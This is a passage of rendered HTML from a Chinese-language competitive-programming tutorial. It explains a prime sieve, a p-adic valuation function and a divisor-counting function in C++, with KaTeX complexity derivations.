punctuation">;</span>      <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> j<span class="token operator">=</span><span class="token number">2</span><span class="token operator">*</span>i<span class="token punctuation">;</span>j<span class="token operator">&lt;=</span>N<span class="token punctuation">;</span>j<span class="token operator">+=</span>i<span class="token punctuation">)</span> not_prime<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">bool</span> <span class="token function">is_prime</span><span class="token punctuation">(</span><span class="token keyword">int</span> x<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">return</span> <span class="token operator">!</span>not_prime<span class="token punctuation">[</span>x<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>其複雜度為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>N</mi><mi>log</mi><mo>⁡</mo><mi>log</mi><mo>⁡</mo><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(N\log\log N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span>(好像要用到Mertens’ Theorems，所以我不會證)</p><h3 id="" tabindex="-1" id="nu-p-x"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>ν</mi><mi>p</mi></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\nu_p(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0637em;">ν</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0637em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span></h3><p>計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>ν</mi><mi>p</mi></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\nu_p(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0637em;">ν</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0637em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span>的函式如下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">int</span> <span class="token function">v</span><span class="token punctuation">(</span><span class="token keyword">int</span> p<span class="token punctuation">,</span> ll <span class="token operator">&amp;</span>x<span class="token punctuation">)</span><span class="token punctuation">&#123;</span> <span class="token comment">// v代表\nu</span>  <span class="token keyword">int</span> ans <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>x<span class="token operator">%</span>p<span class="token operator">==</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    x <span class="token operator">/=</span> p<span class="token punctuation">;</span>    ans <span class="token operator">+=</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> ans<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>之所以用<code>&amp;x</code>是為了讓這個函式能修改外部參數(也就是直接動態修改傳進去的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>的值)，<code>&amp;x</code>表示傳遞變數<code>x</code>的記憶體地址，而非單純複製其值。<br>單次執行的時間複雜度為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msub><mrow><mi>log</mi><mo>⁡</mo></mrow><mi>p</mi></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\log_p(x))</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1302em;vertical-align:-0.3802em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mop"><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.0573em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3802em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">))</span></span></span></span></p><h3 id="divnum" tabindex="-1" id="divnum"><code>divnum</code></h3><p>計算正因數個數</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">ll <span class="token function">divnum</span><span class="token punctuation">(</span>ll x<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>x<span class="token operator">==</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>x<span class="token operator">==</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span>  ll ans <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span>cnt<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">int</span> p <span class="token operator">=</span> prime<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token number">1LL</span><span class="token operator">*</span>p<span class="token operator">*</span>p<span class="token operator">></span>x<span class="token punctuation">)</span><span class="token keyword">break</span><span class="token punctuation">;</span>    ans <span class="token operator">*=</span> <span class="token function">v</span><span class="token punctuation">(</span>p<span class="token punctuation">,</span>x<span class="token punctuation">)</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>x<span class="token operator">></span><span class="token number">1</span><span class="token punctuation">)</span>ans <span class="token operator">*=</span> <span class="token punctuation">(</span><span class="token number">1</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> ans<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>這邊解釋一下<code>if(x&gt;1)ans *= (1+1);</code>這行。迴圈跳出時代表<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>不再有小於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msqrt><mi>x</mi></msqrt></mrow><annotation encoding="application/x-tex">\sqrt{x}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.04em;vertical-align:-0.2397em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">x</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span></span></span></span>的正因數，這表示要嘛<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">x=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，不然就是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>本身就是一個質數。所以如果<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>&gt;</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">x&gt;1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，就代表<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mtext>某質</mtext><msup><mtext>數</mtext><mn>1</mn></msup></mrow><annotation encoding="application/x-tex">x=某質數^1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord cjk_fallback">某質</span><span class="mord"><span class="mord cjk_fallback">數</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span>，故對正因數個數貢獻為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>×</mo><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\times(1+1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">×</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span>。</p><p>複雜度的部分，跑迴圈要時<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>π</mi><mo stretchy="false">(</mo><msqrt><mi>x</mi></msqrt><mo stretchy="false">)</mo><mo stretchy="false">)</mo><mo>=</mo><mi>O</mi><mo stretchy="false">(</mo><mfrac><msqrt><mi>x</mi></msqrt><mrow><mi>ln</mi><mo>⁡</mo><msqrt><mi>x</mi></msqrt></mrow></mfrac><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\pi(\sqrt{x}))=O(\frac{\sqrt{x}}{\ln\sqrt{x}})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0503em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0359em;">π</span><span class="mopen">(</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">x</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span><span class="mclose">))</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.576em;vertical-align:-0.538em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.038em;"><span style="top:-2.6259em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mop mtight"><span class="mtight">l</span><span class="mtight">n</span></span><span class="mspace mtight" style="margin-right:0.1952em;"></span><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8059em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mathnormal mtight">x</span></span></span><span style="top:-2.7659em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2341em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4739em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8059em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mathnormal mtight">x</span></span></span><span style="top:-2.7659em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2341em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">)</span></span></span></span>，而所有的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>ν</mi><mi>p</mi></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\nu_p(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0637em;">ν</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0637em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span>呼叫加總不超過<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msub><mrow><mi>log</mi><mo>⁡</mo></mrow><mn>2</mn></msub><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\log_2{x})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mop"><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span></span><span class="mclose">)</span></span></span></span>，又不難證明</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>lim</mi><mo>⁡</mo><mrow><mi>x</mi><mo>→</mo><mi mathvariant="normal">∞</mi></mrow><mfrac><mrow><msub><mrow><mi>log</mi><mo>⁡</mo></mrow><mn>2</mn></msub><mi>x</mi></mrow><mfrac><msqrt><mi>x</mi></msqrt><mrow><mi>ln</mi><mo>⁡</mo><msqrt><mi>x</mi></msqrt></mrow></mfrac></mfrac><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">\lim{x\to\infty}{\frac{\log_2{x}}{\frac{\sqrt{x}}{\ln\sqrt{x}}}}=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.8374em;vertical-align:-1.466em;"></span><span class="mop">lim</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">∞</span></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.11em;"><span class="pstrut" style="height:3.038em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.038em;"><span style="top:-2.6259em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mop mtight"><span class="mtight">l</span><span class="mtight">n</span></span><span class="mspace mtight" style="margin-right:0.1952em;"></span><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8059em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mathnormal mtight">x</span></span></span><span style="top:-2.7659em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2341em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4739em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8059em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mathnormal mtight">x</span></span></span><span style="top:-2.7659em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2341em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span><span style="top:-3.268em;"><span class="pstrut" style="height:3.038em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.715em;"><span class="pstrut" style="height:3.038em;"></span><span class="mord"><span class="mop"><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.466em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p><p>因此總複雜度為</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mfrac><msqrt><mi>x</mi></msqrt><mrow><mi>ln</mi><mo>⁡</mo><msqrt><mi>x</mi></msqrt></mrow></mfrac><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\frac{\sqrt{x}}{\ln\sqrt{x}})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4073em;vertical-align:-0.93em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t 